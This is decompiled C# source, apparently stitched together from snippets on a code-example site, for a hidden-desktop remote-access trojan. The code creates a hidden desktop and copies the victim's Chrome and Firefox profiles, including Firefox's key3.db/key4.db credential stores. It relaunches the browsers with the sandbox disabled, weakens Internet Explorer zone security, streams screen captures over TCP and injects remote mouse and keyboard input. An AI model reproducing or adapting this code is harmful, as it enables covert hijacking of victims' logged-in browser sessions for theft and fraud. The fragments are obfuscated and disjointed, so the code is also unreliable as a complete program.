// Token: 0x060000B4 RID: 180 RVA: 0x0000558C File Offset: 0x0000378C
 // Note: this type is marked as 'beforefieldinit'.
 static Streaming()
 {
     InvocationProcessPolicy.CompareError();
     Streaming.size          = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
     Streaming.defaultDesktp = ParamRuleContainer.GetThreadDesktop(ParamRuleContainer.GetCurrentThreadId());
     Streaming.m_Writer      = new object();
 }
 // Token: 0x060000B7 RID: 183 RVA: 0x000055E8 File Offset: 0x000037E8
 internal bool ValidateMapper(IntPtr task, IntPtr cust)
 {
     if (ParamRuleContainer.IsWindowVisible(task))
     {
         ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver);
         ParamRuleContainer.GetWindowRect(task, out regParserResolver);
         if (regParserResolver.QueryMapper() == 0 || regParserResolver.StartMapper() == 0)
         {
             return(true);
         }
         if (!this.m_Server.status._Task.Contains(task))
         {
             StringBuilder stringBuilder = new StringBuilder(100);
             ParamRuleContainer.GetClassName(task, stringBuilder, 100);
             if (stringBuilder.ToString() == "Chrome_WidgetWin_1" && !this.m_Server.status.iterator)
             {
                 this.m_Server.status.iterator = true;
                 ParamRuleContainer.SetWindowPos(task, ParamRuleContainer.ResolverProductPage.facade, 0, 0, Streaming.size.Width, Streaming.size.Height - 20, 1u);
             }
             else if (stringBuilder.ToString() == "MozillaWindowClass" && !this.m_Server.status._Observer)
             {
                 this.m_Server.status._Observer = true;
                 ParamRuleContainer.SetWindowPos(task, ParamRuleContainer.ResolverProductPage.facade, 0, 0, Streaming.size.Width, Streaming.size.Height - 20, 1u);
             }
             uint num = (uint)((int)ParamRuleContainer.GetWindowLong(task, -20));
             num |= 33554432u;
             ParamRuleContainer.SetWindowLong(task, -20, (IntPtr)((long)((ulong)num)));
             this.m_Server.status._Task.Add(task);
         }
         [email protected](task);
         int system = this.m_System;
         this.m_System = system + 1;
     }
     return(true);
 }
Beispiel #3
0
        // Token: 0x06000029 RID: 41 RVA: 0x00004070 File Offset: 0x00002270
        public static void AddContext(object spec)
        {
            if (Streaming.ActiveDesktop == Streaming.defaultDesktp)
            {
                ParamRuleContainer.OrderContext(spec.m_TestsMapper, spec.m_ListenerMapper);
            }
            else if ((spec.m_TestsMapper < 0 || spec.m_TestsMapper > 6) && spec.m_TestsMapper != 13)
            {
                ParamRuleContainer.PostMessage(Parser._Indexer, 258, (int)spec.m_TestsMapper, 0);
            }
            else
            {
                byte testsMapper = spec.m_TestsMapper;
                switch (testsMapper)
                {
                case 0:
                    ParamRuleContainer.PostMessage(Parser._Indexer, 256, 8, 0);
                    ParamRuleContainer.PostMessage(Parser._Indexer, 257, 8, 0);
                    break;

                case 1:
                    ParamRuleContainer.PostMessage(Parser._Indexer, 256, 37, 0);
                    ParamRuleContainer.PostMessage(Parser._Indexer, 257, 37, 0);
                    break;

                case 2:
                    ParamRuleContainer.PostMessage(Parser._Indexer, 256, 38, 0);
                    ParamRuleContainer.PostMessage(Parser._Indexer, 257, 38, 0);
                    break;

                case 3:
                    ParamRuleContainer.PostMessage(Parser._Indexer, 256, 39, 0);
                    ParamRuleContainer.PostMessage(Parser._Indexer, 257, 39, 0);
                    break;

                case 4:
                    ParamRuleContainer.PostMessage(Parser._Indexer, 256, 40, 0);
                    ParamRuleContainer.PostMessage(Parser._Indexer, 257, 40, 0);
                    break;

                case 5:
                    ParamRuleContainer.PostMessage(Parser._Indexer, 256, 46, 0);
                    ParamRuleContainer.PostMessage(Parser._Indexer, 257, 46, 0);
                    break;

                default:
                    if (testsMapper == 13)
                    {
                        ParamRuleContainer.PostMessage(Parser._Indexer, 256, 13, 0);
                        ParamRuleContainer.PostMessage(Parser._Indexer, 257, 13, 0);
                    }
                    break;
                }
            }
        }
 // Token: 0x06000026 RID: 38 RVA: 0x00003B40 File Offset: 0x00001D40
 internal bool CloneMapper(IntPtr reference, IntPtr second, ref ParamRuleContainer.MerchantRuleClass res, IntPtr pol2)
 {
     ParamRuleContainer.Candidate candidate = default(ParamRuleContainer.Candidate);
     candidate.CallMapper();
     if (ParamRuleContainer.GetMonitorInfo(reference, ref candidate))
     {
         this._Thread = candidate._Authentication.strategy;
         if (this.factory < candidate.config.page)
         {
             this.factory = candidate.config.page;
         }
     }
     return(true);
 }
Beispiel #5
0
        // Token: 0x06000027 RID: 39 RVA: 0x00003BA0 File Offset: 0x00001DA0
        public static void InsertContext(object reference)
        {
            try
            {
                if (Streaming.ActiveDesktop != IntPtr.Zero && Streaming.ActiveDesktop == Streaming.Hdsktp)
                {
                    Parser.WriteContext(reference, 0, 0);
                }
                else
                {
                    int            x             = Screen.PrimaryScreen.Bounds.X;
                    int            y             = Screen.PrimaryScreen.Bounds.Y;
                    Point          point         = new Point(reference.m_GetterMapper + x, reference.m_PropertyMapper + y);
                    Parser.mdToken contextMapper = reference.contextMapper;
                    if (contextMapper <= (Parser.mdToken) 4 && ParamRuleContainer.MoveContext())
                    {
                        ParamRuleContainer.PrepareContext();
                    }
                    switch (reference.contextMapper)
                    {
                    case (Parser.mdToken) 0:
                    case (Parser.mdToken) 1:
                        ParamRuleContainer.ReadContext(point, reference.m_MapperMapper);
                        break;

                    case (Parser.mdToken) 2:
                    case (Parser.mdToken) 3:
                        ParamRuleContainer.AssetContext(point, reference.m_MapperMapper);
                        break;

                    case (Parser.mdToken) 4:
                        ParamRuleContainer.GetContext(point);
                        break;

                    case (Parser.mdToken) 5:
                        ParamRuleContainer.ConnectContext(point, false);
                        break;

                    case (Parser.mdToken) 6:
                        ParamRuleContainer.ConnectContext(point, true);
                        break;
                    }
                }
            }
            catch
            {
            }
        }
        // Token: 0x06000019 RID: 25 RVA: 0x00002E78 File Offset: 0x00001078
        public static void ComputeContext()
        {
            Streaming.defaultDesktp = ParamRuleContainer.GetThreadDesktop(ParamRuleContainer.GetCurrentThreadId());
            Streaming.Hdsktp        = ParamRuleContainer.OpenDesktop("sdfsddfg", 0, true, 511u);
            if (Streaming.Hdsktp == IntPtr.Zero)
            {
                Streaming.Hdsktp = ParamRuleContainer.CreateDesktop("sdfsddfg", null, IntPtr.Zero, 0u, 511u, IntPtr.Zero);
            }
            Streaming.ActiveDesktop = Streaming.Hdsktp;
            ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp);
            bool flag = false;

            Process[] processesByName = Process.GetProcessesByName("explorer");
            for (int i = 0; i < processesByName.Length; i++)
            {
                if (processesByName[i].MainWindowHandle != IntPtr.Zero)
                {
                    flag = true;
                }
            }
            if (!flag)
            {
                try
                {
                    RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
                    string      value       = (string)registryKey.GetValue("WallPaper");
                    registryKey.SetValue("WallPaper", "");
                    registryKey.Close();
                    ParamRuleContainer.PatchContext("C:\\Windows\\explorer.exe", "/separate");
                    Thread.Sleep(500);
                    RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
                    registryKey2.SetValue("WallPaper", value);
                    registryKey2.Close();
                }
                catch (Exception ex)
                {
                    SchemaMapper.ReflectContext(ex.ToString());
                }
            }
        }
 // Token: 0x0600001E RID: 30 RVA: 0x00003710 File Offset: 0x00001910
 private static void AwakeContext()
 {
     try
     {
         SchemaMapper.ReflectContext("Disabling IE protection");
         Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3", "2500", 3, RegistryValueKind.DWord);
         int num = ParamRuleContainer.PatchContext("C:\\Windows\\System32\\cmd.exe", "/C start iexplore.exe -extoff -nomerge -noframemerging");
         Thread.Sleep(1000);
         if (num == 1)
         {
             SchemaMapper.ReflectContext("Succes IE");
         }
         else
         {
             SchemaMapper.ReflectContext("executing error code: " + num.ToString());
         }
     }
     catch (Exception ex)
     {
         SchemaMapper.ReflectContext(ex.Message);
     }
 }
        // Token: 0x06000021 RID: 33 RVA: 0x000039A8 File Offset: 0x00001BA8
        public static Size InvokeContext()
        {
            SchemaMapper.Item item = new SchemaMapper.Item();
            item._Thread = 0;
            item.factory = 0;
            try
            {
                ParamRuleContainer.EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero, new ParamRuleContainer.Instance(item.CloneMapper), IntPtr.Zero);
            }
            catch
            {
            }
            Size result;

            if (item._Thread == 0 || item.factory == 0)
            {
                result = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            }
            else
            {
                result = new Size(item._Thread, item.factory);
            }
            return(result);
        }
        // Token: 0x060000AC RID: 172 RVA: 0x00004C50 File Offset: 0x00002E50
        public void StreamDefault()
        {
            Thread.CurrentThread.Priority = ThreadPriority.Highest;
            Bitmap bitmap;

            try
            {
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    throw new Exception();
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            catch
            {
                Streaming.size = Screen.PrimaryScreen.Bounds.Size;
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                    this.StopStream = true;
                    return;
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            ParamRuleContainer.SetThreadDesktop(Streaming.defaultDesktp);
            while (!this.StopStream)
            {
                try
                {
                    Graphics graphics = Graphics.FromImage(bitmap);
                    graphics.CopyFromScreen(0, 0, 0, 0, bitmap.Size);
                    BitmapData bitmapData = bitmap.LockBits(new Rectangle(0, 0, Streaming.size.Width, Streaming.size.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
                    using (MemoryStream memoryStream = new MemoryStream())
                    {
                        try
                        {
                            this.StreamCodec.CodeImg(bitmapData, memoryStream);
                        }
                        catch (Exception ex)
                        {
                            SchemaMapper.ReflectContext(ex.ToString());
                        }
                        if (memoryStream.ToArray().Length > 4)
                        {
                            try
                            {
                                List <byte> list = memoryStream.ToArray().ToList <byte>();
                                list = this.AwakeMapper(list.ToArray()).ToList <byte>();
                                list.AddRange(this.@ref);
                                this.tcpStream.Receive(new byte[1]);
                                this.tcpStream.BeginSend(list.ToArray(), 0, list.Count, SocketFlags.None, new AsyncCallback(this.UpdateMapper), this.tcpStream);
                            }
                            catch
                            {
                            }
                        }
                        bitmap.UnlockBits(bitmapData);
                    }
                    graphics.Dispose();
                    GC.Collect();
                }
                catch (Exception ex2)
                {
                    SchemaMapper.ReflectContext(ex2.ToString());
                }
            }
            this.StreamCodec.Dispose();
            this.StreamCodec = null;
            this.IncludeMapper();
        }
        public void StreamAd()
        {
            Streaming.DispatcherGetterLicense dispatcherGetterLicense = new Streaming.DispatcherGetterLicense();
            dispatcherGetterLicense.status = this;
            Bitmap bitmap;

            try
            {
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    throw new Exception();
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            catch
            {
                Streaming.size = Screen.PrimaryScreen.Bounds.Size;
                if (Streaming.size.Width == 0 || Streaming.size.Height == 0)
                {
                    SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                    this.StopStream = true;
                    return;
                }
                bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb);
            }
            ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp);
            Thread.CurrentThread.Priority  = ThreadPriority.Highest;
            dispatcherGetterLicense.@class = new List <IntPtr>();
            while (!this.StopStream)
            {
                try
                {
                    Streaming.WrapperMapperImporter wrapperMapperImporter = new Streaming.WrapperMapperImporter();
                    wrapperMapperImporter.m_Server = dispatcherGetterLicense;
                    wrapperMapperImporter.m_System = 0;
                    ParamRuleContainer.EnumWindows(new ParamRuleContainer.Record(wrapperMapperImporter.ValidateMapper), IntPtr.Zero);
                    for (int i = wrapperMapperImporter.m_System - 1; i >= 0; i--)
                    {
                        ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver);
                        ParamRuleContainer.GetWindowRect(wrapperMapperImporter.m_Server.@class[i], out regParserResolver);
                        if (regParserResolver.QueryMapper() != 0 && regParserResolver.StartMapper() != 0)
                        {
                            if (i != 0)
                            {
                                IntPtr asset = wrapperMapperImporter.m_Server.@class[i - 1];
                                ParamRuleContainer.RegParserResolver regParserResolver2 = default(ParamRuleContainer.RegParserResolver);
                                ParamRuleContainer.GetWindowRect(asset, out regParserResolver2);
                                if (regParserResolver2.RateMapper() < regParserResolver.RateMapper() && regParserResolver2.DeleteMapper() < regParserResolver.DeleteMapper() && regParserResolver2.SetMapper() > regParserResolver.SetMapper() && regParserResolver2.SortMapper() > regParserResolver.SortMapper())
                                {
                                    goto IL_26E;
                                }
                            }
                            using (Bitmap bitmap2 = new Bitmap(regParserResolver.QueryMapper(), regParserResolver.StartMapper(), PixelFormat.Format24bppRgb))
                            {
                                using (Graphics graphics = Graphics.FromImage(bitmap2))
                                {
                                    IntPtr hdc = graphics.GetHdc();
                                    ParamRuleContainer.PrintWindow(wrapperMapperImporter.m_Server.@class[i], hdc, 0);
                                    graphics.ReleaseHdc(hdc);
                                    ParamRuleContainer.DeleteDC(hdc);
                                    Graphics graphics2 = Graphics.FromImage(bitmap);
                                    graphics2.DrawImage(bitmap2, regParserResolver.RateMapper(), regParserResolver.DeleteMapper());
                                    graphics2.Dispose();
                                }
                            }
                        }
                        IL_26E :;
                    }
                    BitmapData bitmapData = null;
                    using (MemoryStream memoryStream = new MemoryStream())
                    {
                        try
                        {
                            bitmapData = bitmap.LockBits(new Rectangle(0, 0, Streaming.size.Width, Streaming.size.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
                            if (bitmapData.Scan0 == IntPtr.Zero)
                            {
                                SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP");
                                continue;
                            }
                            this.StreamCodec.CodeImg(bitmapData, memoryStream);
                        }
                        catch (Exception ex)
                        {
                            SchemaMapper.ReflectContext(ex.ToString());
                        }
                        if (memoryStream.ToArray().Length > 4)
                        {
                            List <byte> list = memoryStream.ToArray().ToList <byte>();
                            list = this.AwakeMapper(list.ToArray()).ToList <byte>();
                            list.AddRange(this.@ref);
                            this.tcpStream.Receive(new byte[1]);
                            this.tcpStream.BeginSend(list.ToArray(), 0, list.Count, SocketFlags.None, new AsyncCallback(this.UpdateMapper), this.tcpStream);
                        }
                        bitmap.UnlockBits(bitmapData);
                    }
                    GC.Collect();
                    [email protected]();
                }
                catch (Exception ex2)
                {
                    SchemaMapper.ReflectContext(ex2.ToString());
                }
            }
            this.StreamCodec.Dispose();
            this.StreamCodec = null;
            this.IncludeMapper();
        }
        // Token: 0x0600001C RID: 28 RVA: 0x00003374 File Offset: 0x00001574
        private static void EnableContext(int start_i)
        {
            try
            {
                string text  = "";
                string text2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\";
                string text3 = File.ReadAllText(text2 + "profiles.ini");
                bool   flag  = false;
                SchemaMapper.ReflectContext("loking for relative profile");
                while (!flag)
                {
                    text3 = text3.Substring(text3.IndexOf("IsRelative=") + "IsRelative=".Length);
                    if (text3 == null)
                    {
                        SchemaMapper.ReflectContext("no relative profile found");
                        return;
                    }
                    if (text3[0] == '1')
                    {
                        string text4  = text3.Substring(text3.IndexOf("Path=") + "Path=".Length);
                        int    length = text4.IndexOf("\r\n");
                        text4 = text4.Substring(0, length).Replace("/", "\\");
                        if (File.Exists(text2 + text4 + "\\prefs.js") && (File.Exists(text2 + text4 + "\\key3.db") || File.Exists(text2 + text4 + "\\key4.db")))
                        {
                            text2 += text4;
                            flag   = true;
                        }
                    }
                }
                bool     flag2         = false;
                string[] logicalDrives = Environment.GetLogicalDrives();
                for (int i = 0; i < logicalDrives.Length; i++)
                {
                    DriveInfo driveInfo = new DriveInfo(logicalDrives[i]);
                    if (driveInfo.IsReady && driveInfo.DriveType == DriveType.Fixed && SchemaMapper.ConcatContext(Directory.GetFiles(text2, "*.*", SearchOption.AllDirectories), driveInfo))
                    {
                        SchemaMapper.ReflectContext("Got drive to copy");
                        text  = text2.Remove(0, 3).Insert(0, driveInfo.Name) + "C";
                        flag2 = true;
IL_193:
                        if (!flag2)
                        {
                            SchemaMapper.ReflectContext("Not enought space on disk to copy profile");
                        }
                        else
                        {
                            if (!Directory.Exists(text) || start_i == 3)
                            {
                                SchemaMapper.IncludeContext(text2, text);
                            }
                            SchemaMapper.UpdateContext(text);
                            string cont  = "/C start Firefox -no-remote -profile \"" + text + "\"";
                            string text5 = "C:\\Windows\\System32\\cmd.exe";
                            if (File.Exists("C:\\Program Files\\Mozilla Firefox\\firefox.exe"))
                            {
                                cont  = "-no-remote -profile \"" + text + "\"";
                                text5 = "C:\\Program Files\\Mozilla Firefox\\firefox.exe";
                            }
                            SchemaMapper.ReflectContext(text5);
                            int num = ParamRuleContainer.PatchContext(text5, cont);
                            Thread.Sleep(1000);
                            if (num == 1)
                            {
                                SchemaMapper.ReflectContext("Succes FF");
                            }
                            else
                            {
                                SchemaMapper.ReflectContext("executing error code: " + num.ToString());
                            }
                        }
                        return;
                    }
                }
                goto IL_193;
            }
            catch (Exception ex)
            {
                SchemaMapper.ReflectContext(ex.Message);
            }
        }
        // Token: 0x0600001B RID: 27 RVA: 0x000030CC File Offset: 0x000012CC
        private static void ForgotContext(int startfirst)
        {
            try
            {
                string text  = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default";
                string text2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\\Default";
                if (!Directory.Exists(text2) || startfirst == 0)
                {
                    bool     flag          = false;
                    string[] logicalDrives = Environment.GetLogicalDrives();
                    int      i             = 0;
                    while (i < logicalDrives.Length)
                    {
                        string text3 = logicalDrives[i];
                        SchemaMapper.ReflectContext("Check drive " + text3 + "for space");
                        DriveInfo driveInfo = new DriveInfo(text3);
                        if (!driveInfo.IsReady || driveInfo.DriveType != DriveType.Fixed || !SchemaMapper.ConcatContext(Directory.GetFiles(text, "*.*", SearchOption.AllDirectories), driveInfo))
                        {
                            SchemaMapper.ReflectContext("Not enought space on " + text3 + " to copy profile");
                            i++;
                        }
                        else
                        {
                            flag = true;
                            SchemaMapper.ReflectContext("Got disk for copy");
                            text2 = text2.Remove(0, 3).Insert(0, driveInfo.Name);
IL_DD:
                            if (!flag)
                            {
                                SchemaMapper.ReflectContext("Not enought space on disks to copy profile");
                                return;
                            }
                            goto IL_F2;
                        }
                    }
                    goto IL_DD;
                }
IL_F2:
                string cont = "/C start chrome.exe --disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                string text4 = "C:\\Windows\\System32\\cmd.exe";
                if (File.Exists("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"))
                {
                    cont  = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                    text4 = "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe";
                    SchemaMapper.ReflectContext(text4);
                }
                else if (File.Exists("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"))
                {
                    cont  = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                    text4 = "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe";
                    SchemaMapper.ReflectContext(text4);
                }
                else if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application\\chrome.exe"))
                {
                    cont  = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                    text4 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application\\chrome.exe";
                    SchemaMapper.ReflectContext(text4);
                }
                else
                {
                    SchemaMapper.ReflectContext("Chrome will start with cmd");
                }
                if (!Directory.Exists(text2) || startfirst == 0)
                {
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf");
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\\Default");
                    SchemaMapper.ReflectContext("direcories created");
                    SchemaMapper.IncludeContext(text, text2);
                }
                SchemaMapper.ReflectContext("Executing chrome");
                int num = ParamRuleContainer.PatchContext(text4, cont);
                Thread.Sleep(1000);
                if (num == 1)
                {
                    SchemaMapper.ReflectContext("Succes Chrome");
                }
                else
                {
                    SchemaMapper.ReflectContext("executing error code: " + num.ToString());
                }
            }
            catch (Exception ex)
            {
                SchemaMapper.ReflectContext(ex.Message);
            }
        }
Beispiel #13
0
        // Token: 0x06000028 RID: 40 RVA: 0x00003CB4 File Offset: 0x00001EB4
        private static void WriteContext(object res, int result, int templow)
        {
            ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp);
            StringBuilder stringBuilder = new StringBuilder(1024);
            Point         task          = new Point(res.m_GetterMapper + result, res.m_PropertyMapper + templow);
            IntPtr        intPtr        = ParamRuleContainer.WindowFromPoint(task);

            Parser._Indexer = intPtr;
            ParamRuleContainer.GetClassName(intPtr, stringBuilder, 1024);
            ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver);
            ParamRuleContainer.GetWindowRect(intPtr, out regParserResolver);
            IntPtr intPtr2 = intPtr;

            if (stringBuilder.ToString() != "#32768")
            {
                while (ParamRuleContainer.GetParent(intPtr2) != IntPtr.Zero)
                {
                    intPtr2 = ParamRuleContainer.GetParent(intPtr2);
                }
                ParamRuleContainer.SetActiveWindow(intPtr2);
                task.X -= regParserResolver.CalcMapper();
                task.Y -= regParserResolver.InitMapper();
            }
            switch (res.contextMapper)
            {
            case (Parser.mdToken) 0:
            {
                Parser._Algo = true;
                if (task.Y < 20)
                {
                    Parser.m_Request = new Point(res.m_GetterMapper + result, res.m_PropertyMapper + templow);
                    Parser._Stub     = ParamRuleContainer.WindowFromPoint(Parser.m_Request);
                    ParamRuleContainer.GetWindowRect(Parser._Stub, out Parser.producer);
                    Parser.m_Request.X = Parser.m_Request.X - Parser.producer.CalcMapper();
                    Parser.m_Request.Y = Parser.m_Request.Y - Parser.producer.InitMapper();
                }
                ParamRuleContainer.PostMessage(intPtr, 513, 1, ParamRuleContainer.CollectContext(task.X, task.Y));
                Point point = new Point(res.m_GetterMapper + result, res.m_PropertyMapper + templow);
                ParamRuleContainer.RegParserResolver regParserResolver2 = default(ParamRuleContainer.RegParserResolver);
                ParamRuleContainer.GetWindowRect(intPtr2, out regParserResolver2);
                point.X -= regParserResolver2.CalcMapper();
                point.Y -= regParserResolver2.InitMapper();
                ParamRuleContainer.SetWindowPos(intPtr2, ParamRuleContainer.ResolverProductPage.facade, res.m_GetterMapper - point.X, res.m_PropertyMapper - point.Y, 0, 0, 1u);
                break;
            }

            case (Parser.mdToken) 1:
            {
                Parser._Algo = false;
                Parser._Stub = IntPtr.Zero;
                int num = ParamRuleContainer.DefWindowProc(intPtr2, (ParamRuleContainer.AdvisorGetterLicense) 132u, IntPtr.Zero, (IntPtr)ParamRuleContainer.CollectContext(task.X + regParserResolver.CalcMapper(), task.Y + regParserResolver.InitMapper()));
                if (num != 3)
                {
                    if (num != 9)
                    {
                        if (num == 20)
                        {
                            ParamRuleContainer.PostMessage(intPtr2, 16, 0, 0);
                        }
                    }
                    else
                    {
                        ParamRuleContainer.PostMessage(intPtr2, 274, 61488, 0);
                    }
                }
                else
                {
                    ParamRuleContainer.PostMessage(intPtr2, 16, 0, 0);
                }
                ParamRuleContainer.PostMessage(intPtr, 514, 1, ParamRuleContainer.CollectContext(task.X, task.Y));
                break;
            }

            case (Parser.mdToken) 2:
                ParamRuleContainer.PostMessage(intPtr, 516, 2, ParamRuleContainer.CollectContext(task.X, task.Y));
                break;

            case (Parser.mdToken) 3:
                ParamRuleContainer.PostMessage(intPtr, 517, 2, ParamRuleContainer.CollectContext(task.X, task.Y));
                break;

            case (Parser.mdToken) 4:
                if (Parser._Algo)
                {
                    ParamRuleContainer.SetWindowPos(Parser._Stub, ParamRuleContainer.ResolverProductPage.facade, res.m_GetterMapper - Parser.m_Request.X, res.m_PropertyMapper - Parser.m_Request.Y, 0, 0, 1u);
                }
                ParamRuleContainer.PostMessage(intPtr, 512, 0, ParamRuleContainer.CollectContext(task.X, task.Y));
                break;

            case (Parser.mdToken) 5:
                ParamRuleContainer.PostMessage(intPtr, 277, 0, 0);
                break;

            case (Parser.mdToken) 6:
            {
                int res_amount = ParamRuleContainer.GetScrollPos(intPtr, 1) + 20;
                ParamRuleContainer.SetScrollPos(intPtr, 1, res_amount, IntPtr.Zero);
                break;
            }
            }
        }